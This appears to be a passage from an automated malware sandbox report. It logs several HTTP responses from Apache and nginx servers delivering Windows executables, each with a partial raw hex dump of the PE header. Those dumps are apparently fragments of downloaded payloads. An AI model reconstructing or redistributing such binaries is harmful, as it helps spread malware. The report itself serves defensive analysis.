00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:17:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:17:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:17:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:17:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:30 GMTContent-Type: application/octet-streamContent-Length: 196648Last-Modified: Thu, 29 Aug 2024 19:35:54 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0cd9a-30028"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ce 02 00 00 0a 00 00 00 00 00 00 ae ed 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 4e 2c 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ed 02 00 53 00 00 00 00 00 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 da 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 20 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 cd 02 00 00 20 00 00 00 ce 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2e 06 00 00 00 00 03 00 00 08 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 03 00 00 02 00 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 ed 02 00 00 00 00 00 48 00 00 00 02 00 05 00 78 db 02 00 a8 10 00 00 03 00 02 00 0e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 26 28 81 2c 58 16 1e 55 f4 66 8b 68 95 e3 26 5c f4 fa 06 3d 45 e8 fc c8 d8 f7 25 22 3d 6d 3f 2a 3c 16 1c bf 55 1d a6 48 66 c2 74 24 96 d1 9a c9 12 c7 13 55 21 ba 42 8b 23 9b 95 3a c7 10 64 b8 fc 45 91 96 0c 5c 17 8e 4a 31 be dc 39 09 0f ae e7 c1 19 df 4b e2 6c 58 d8 47 52 41 8a ec 36 7c 5e 8c 2e d7 6f 91 82 d0 a8 eb 40 c7 90 26 cb a6 ca 35 12 ce 94 8b 09 bd 0b cd c3 3a 95 e4 f9 01 69 20 bf 58 6d 9e 95 58 6a a6 97 ff 0d 5f 30 22 4c 8a 58 8f 45 4f 20 6a 05 83 25 af d4 b0 6d 6e 9a 45 63 54 25 d6 33 43 c8 29 29 cd fa 5e 06 3a a9 54 6e 37 c3 77 c9 0b 59 df c9 2e a7 60 5b 41 ca 74 79 e1 ba e9 0f 4e b5 a5 ed c7 bf 6a a3 18 b8 73 c2 7c 51 54 3f 86 39 c7 e7 27 fe 3a e4 9e 6c 93 24 c9 7b 26 56 dc e0 7d ad 39 98 03 6e 65 73 af c4 85 5b e7 d5 f2 3f fd 77 71 52 2f 5f 4a 55 81 38 bf 69 72 5f 52 a7 18 12 68 da f2 79 3c b3 3c 09 b9 40 2f 08 fa d3 cf ec 02 27 10 c0 e8 2d 55 a9 18 76 38 d5 46 b3 32 7a 11 c3 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:32 GMTContent-Type: application/octet-streamContent-Length: 328744Last-Modified: Thu, 29 Aug 2024 19:35:43 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0cd8f-50428"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 19 cd d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d2 04 00 00 0a 00 00 00 00 00 00 ae f1 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 fe 11 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 f1 04 00 53 00 00 00 00 00 05 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 de 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 20 f0 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 d1 04 00 00 20 00 00 00 d2 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2e 06 00 00 00 00 05 00 00 08 00 00 00 d4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 f1 04 00 00 00 00 00 48 00 00 00 02 00 05 00 78 df 04 00 a8 10 00 00 03 00 02 00 0e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 53 8a 02 61 81 e9 db 99 1d 0e 63 3f cc 36 14 88 55 d0 9b 43 4d 66 27 08 3c a8 73 14 6f 6f 98 a0 3c 43 da b5 71 92 77 4e bc 65 c8 ce 69 ed ef 13 65 34 2b 84 99 cd d1 9d 8e 01 83 ff ce 16 1f 52 c6 9c dd 31 62 72 85 b0 bb 49 55 55 3c 12 4e 02 ea 19 7c 63 b1 56 47 48 ed ee e1 24 89 26 7e ac 2b a5 e4 c7 83 90 3c 33 38 f5 a4 b3 7f 74 52 5d 42 8c 7a de 34 2d 6f 43 ed 7b a7 82 18 ee e0 1b 7b 39 96 ad e7 78 30 77 ea 95 49 37 ca 5f a9 3b 21 27 71 ac d8 55 8b a8 ca 3f 82 60 bb ee 2f de 2b 2c 50 cf 82 4d 8f e5 bc 09 8c f1 1b 38 94 b6 7d fb 33 6a ca 9c 24 ce 59 3d 32 c8 dd a7 a7 29 b1 57 d1 5d 0f 74 2a 5a f1 bc 3e d2 ff 67 32 01 69 2d cf ba b6 0c f2 e1 87 49 0b eb 95 5b eb 8d 77 0b 05 1c b9 9d 75 c3 e1 d5 03 c9 c5 07 c9 fa ce 68 a4 8e 61 c5 33 d0 51 2a c4 ec 0c 98 79 d5 05 b1 c8 e9 e9 0e 3d 63 32 b0 84 6e ab 08 ef a4 99 05 8b c8 51 d5 4a 3e f8 aa 03 3d ce 8d 66 bd 18 77 1b e3 45 2d 60 fa 80 01 ce 2f aa 06 f
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:42 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 